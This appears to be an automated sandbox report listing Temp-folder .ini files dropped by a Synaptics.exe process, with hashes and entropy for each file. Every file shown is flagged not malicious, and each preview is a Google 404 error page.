Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9eWiuLrM8fNFM7ix4b2unw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\BtWRRk2.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.281051276213121
Encrypted:	false
SSDEEP:	24:GgsF+0ocSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+hc+pAZewRDK4mW
MD5:	175279CA2F3BF999CFDAC49A10A94D5A
SHA1:	1012F42EC412A004623A07B2EFBFF24BD90037F9
SHA-256:	4A8A7141363DC1C63530F542924E14783D0F0FC71EDB2B72C25EB30E5892DDE6
SHA-512:	F8781C25121AD50F46EBC83CDE4103AF40A0F8A1A428D4FE5641F024020C9530B12925B7040595C8A85AD34D5BFB042B225172495C06130B4AC9D47625873F36
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Iyv6N3YPBDKJX1mP-LlQ0A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\CduHYvd.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.246720831445737
Encrypted:	false
SSDEEP:	24:GgsF+0gycSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++c+pAZewRDK4mW
MD5:	84FD52087E2E356D7C72657B94596363
SHA1:	D7BCA2E00D30736AD40EA024803D490787DBC8E7
SHA-256:	4CDCC2BA31836973A20ABA369ABD35298F01C49E5F50AAFB522C05844307658C
SHA-512:	EAE3AE794EC3D600D3E94108BD88723BCC28614048402D0396FA5294E1078CB7B1EB7B7C323FCCC17487B53B90A0A89B6D2F086CEEFB2C961BE7D6319099F823
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="EkYlb79xByrcqB2ibgcBaw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Ds3dOdX.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.247840180394354
Encrypted:	false
SSDEEP:	24:GgsF+09O2SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+J2+pAZewRDK4mW
MD5:	31515351FAB9022D93406256ED139550
SHA1:	0FDF5926BB615D06BC10F86E3940A9AE41B2A19B
SHA-256:	D07C5F235F3DBE2E1C8769A97C3618DA23DE0098D096D41A04D9D6C9C95BDBC3
SHA-512:	1A9A40D65C5899C14F2E0A9081A6E1FB794B470AD22E8C14B295C9E894670879BEAEA2759C4C238AA6363A398578C5FBBA374AC6ACB21024CBDDAD3680B78F79
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PxmdigLaxMzhKJxuwo9kTw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ECBPMWm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260331135241122
Encrypted:	false
SSDEEP:	24:GgsF+0e3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+R+pAZewRDK4mW
MD5:	8F16B0DBABFEF1F85B69400F961A9366
SHA1:	FE18A5DDC855E57FE2FA14750A22E960B913FEE2
SHA-256:	A1BB0F25B99B3F615A9D6D5DBF1CA92E39D5C24D3A87A0E166FB7B41234C6766
SHA-512:	DB654AE30C72AE34DEA97E2E3ACB6C75CEDF7900E09C57B7609427AF2252AA8591B9001B4BF4DB5357ECBB04C31B20F584DDAB3C171313E5725B877206FA57A7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1dRz7dAVH3iNRUNsnI01sA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\EEKNqdq.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258667164663006
Encrypted:	false
SSDEEP:	24:GgsF+08OjSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+LW+pAZewRDK4mW
MD5:	6F27D94CF121AD32F6A81ACAE996AFB6
SHA1:	1981E49AB834F053FBA10455A2D387DBC2993CD2
SHA-256:	E1BE011DC606B0F1ABB3F4D132F9EE587DFF983FA7310F1827D61B533CF27382
SHA-512:	AA7DDD620E9CCE651C71AA821064B7EBAA5DB8C2EFD40F060AF2B717DAB9FC7DBDFB9264DC61E737BAA8E163BCC7BA37FA939FA37B67E5E3A1F4A5FB24AF6066
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Cqkcee9V1C_mDlvHHT7yHg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ENt2dlZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259886237338167
Encrypted:	false
SSDEEP:	24:GgsF+01USU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+t+pAZewRDK4mW
MD5:	F648C8EE79379BD6DCE81EF465ED9DDE
SHA1:	740B2BBB38D0182F8DF5150BEDF670835F5BE4C8
SHA-256:	DE8B99B0D1A0496FEBAB19C8B983D70EEC0EE86190F890413E923605A7F35FA5
SHA-512:	DCDDC1121CC7C313C455FF1604EC4B401E957A2C074670469D91B0FC04366D163BA530C695AF35886DB761FD23909BA9F0F0BCB34EC538DB56E8C5FF661ECE3F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_gw7Zdy0-UYigXXO-zALIw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\EQ1CprV.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267003614244939
Encrypted:	false
SSDEEP:	24:GgsF+0NSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+++pAZewRDK4mW
MD5:	352A406AED3258A191077266F585EC75
SHA1:	95444EF9F1078262A7D43DCAC34919A3F8CEA105
SHA-256:	C902CD6BDD37984ED333C5C16F8773BEEA5E5C6066157BD1BF69A3550DB973A3
SHA-512:	B813F5D0DD51805BAB207F0E4537E1B8274736073E5B95E8A900BC3840E6E5F7F9358A9F9803D221D6AA4572D40A53D947CA39EC2116AFFC93D8FCF6635FF761
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7ssQIaBJ689g4w3vLu3J_A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\EvQPImS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269540419106675
Encrypted:	false
SSDEEP:	24:GgsF+0qSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+l+pAZewRDK4mW
MD5:	D6884147B47D6438A4EEABDAC5769C57
SHA1:	89B4FB8E147ECB35801A3E658311BD9BFC5D22D2
SHA-256:	92AC7341C2D4083801172482D1AC004C7A84091EE39B340615B90812A851917F
SHA-512:	1630EC2AA662B7627541E2833106B5A22A880224F66B327CF88CB7F9233A69BDAE772F71F7D2126242672D54C97E9D398B73EC90565C335D86880DFB3A846EF2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jYLHdulSsVq1BjQUpfYePw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FhKCq4c.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255037575942708
Encrypted:	false
SSDEEP:	24:GgsF+0vSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+o+pAZewRDK4mW
MD5:	DF9755B8CF8E0CC42EAE9CBA4D4EEB16
SHA1:	5EB32D1017560092570C4B20A05A4D779FE0F07B
SHA-256:	F512F32CF08A05DC2EF731CB49EAA849D0F41E024CC116FCFA9ADD07CD7AE62B
SHA-512:	8737F839E661B0E0EF2F70D23FBF14925D1F8F4E2AFB9C784CCA8E4481A12B2C4DF5F8885D437CC0B961FF85E29254183DF5F3A083E28A4C2315AE195FE845BE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Ya0AtBZ9v4bLW7TZdgihmg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FiJ4MQ5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259494271929388
Encrypted:	false
SSDEEP:	24:GgsF+0dSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+C+pAZewRDK4mW
MD5:	3D324C628C58DD5F48507BDE484F2F59
SHA1:	4E57A1819FA8251C23164904E4C7F3AAA132CA9A
SHA-256:	7A0A331D5EC34A128956DB4C158F359EFCD4D22A2D88D8D4DC6FF321326B3DBF
SHA-512:	226776CA7A4A632A859B706DA31C97A4AF44C7B34EFC76E4827CB4EAE3A2D8FD073F6E012EA9A8811D12FCBD0F846B953F54103E6A1953AD59C93E36B35AEE29
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sVLPae061hKwcYPvfWh0pQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Fj7piAC.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268579021016645
Encrypted:	false
SSDEEP:	24:GgsF+0ObnSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+tn+pAZewRDK4mW
MD5:	D7542C73D3B547F7734CFD1302956045
SHA1:	D7752CF2E82CBE1F5F152F2E9E5498F490E9EBF7
SHA-256:	4F9978BE7933E285537160E26747355305BE858083634E45ED7C142D12C631CA
SHA-512:	ADE140FDFCF39E7AA50EFB189F7EDA07B1FA5ED419095511AC763626FB456253BEA9C24D9C4594D3235DF26459547EE4E9B555CF621BDEF495E39ADD57286267
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="E2FBXiw_rt5B_UqO1PvOMQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\GYAiQlg.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259627808272319
Encrypted:	false
SSDEEP:	24:GgsF+0wCSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+5C+pAZewRDK4mW
MD5:	4FE9E10FA2D527B2263478809FE21ED8
SHA1:	827E67E9ABB5CA234AEC4A39FF47B6FC891AFF59
SHA-256:	CBF5237390E923ABE282EBD8F5A0BA2D4CEF387F7F65E3B4D39673280352B70B
SHA-512:	731E15030F3527998AB632AA6909A06F9F3A9532AC07FAEB7F35DD5EA2B991C9A7E6CDC50B0C5FA2C30FC66118C066B0558913D97643A84C0F842007B36CDFF9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FER-rNABIo5nJgfxpH1p9Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\HDzc1hF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.248887733732372
Encrypted:	false
SSDEEP:	24:GgsF+045DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+jB+pAZewRDK4mW
MD5:	57663EA359AC4E346003E99645424429
SHA1:	B9400F2772F726540EF6DEF5EAF255187D2DF313
SHA-256:	F55FDB0A901E3910BE047BE5118BEED58F4AC228BAECF7E8547979FACE2307AF
SHA-512:	3CEE4AA6172AA5B98CB3FFB8F23752233F7FB67E5B6C269B94CF25C299C71FF867863EF409B73B709C8AF37C1293609DA0E5D82C9BC7F1F0906D74F877E419A4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kxkptj61LgFozmVr2Wzkng">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\HJTIhEJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258707508013266
Encrypted:	false
SSDEEP:	24:GgsF+01wSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9+pAZewRDK4mW
MD5:	9D5F059D9F90C6E23CDCBB557ECF5770
SHA1:	9EDED410589981C3E7FE796A68CF8BB1AC0E9527
SHA-256:	A5017B38D201A947F0790BBDEF4F94039E8012BBF1383DD0150857EAE14FBE06
SHA-512:	8B863332BDCF710CBA7AC40BB258BB641922CA39350AA1C66036291F7E3F2DF8FD9FB49219660A1D1DE19432C08DC1039CBBCB4AEF2C89D9432B39395BB54496
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fkf6-ZjKBbMly_poy69ojg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\HNMklAh.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2630610058717435
Encrypted:	false
SSDEEP:	24:GgsF+0mSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+J+pAZewRDK4mW
MD5:	B937B07EDE646A2F1624AB9FF6A7E9FE
SHA1:	DB921FE54E7A1B51DD4C4162F7C0A4D6B45C1A6D
SHA-256:	9693EB2E8BD2FE6E0C027CDE35132BE70F210DB8B473BFAD4771D43E35028778
SHA-512:	1922DF3BBCE6281AB5E1C29F56D0ECCDF9ADA0191FD89A74C8E97353A0C342CCD48FF48C00F174350D9FAC0F4BBEA1BFC9910876AAFB423D246A9A59BAFA8A83
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Spvay1kDOfwzE2DjeFJ4gQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ISvy2mz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.277263113333827
Encrypted:	false
SSDEEP:	24:GgsF+0lSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+i+pAZewRDK4mW
MD5:	BD51BEBB7C7EEC71DAB78FA58E63EDB8
SHA1:	9CF4544B1E52BED81F27E66DE899B397EB8FE106
SHA-256:	D7CD2C302EFB6F686D1937AF1C1558409948FF77811B0B35EC601C46302471C2
SHA-512:	32A6CCEA89431060C73B0034FF7C6B86FE3F2AF8D400B37A381916452AC603D97EB4674AF04F1C2A7DF9FECC590089A20B6A3D316021540D4C0F9B486413159D
Malicious:	false
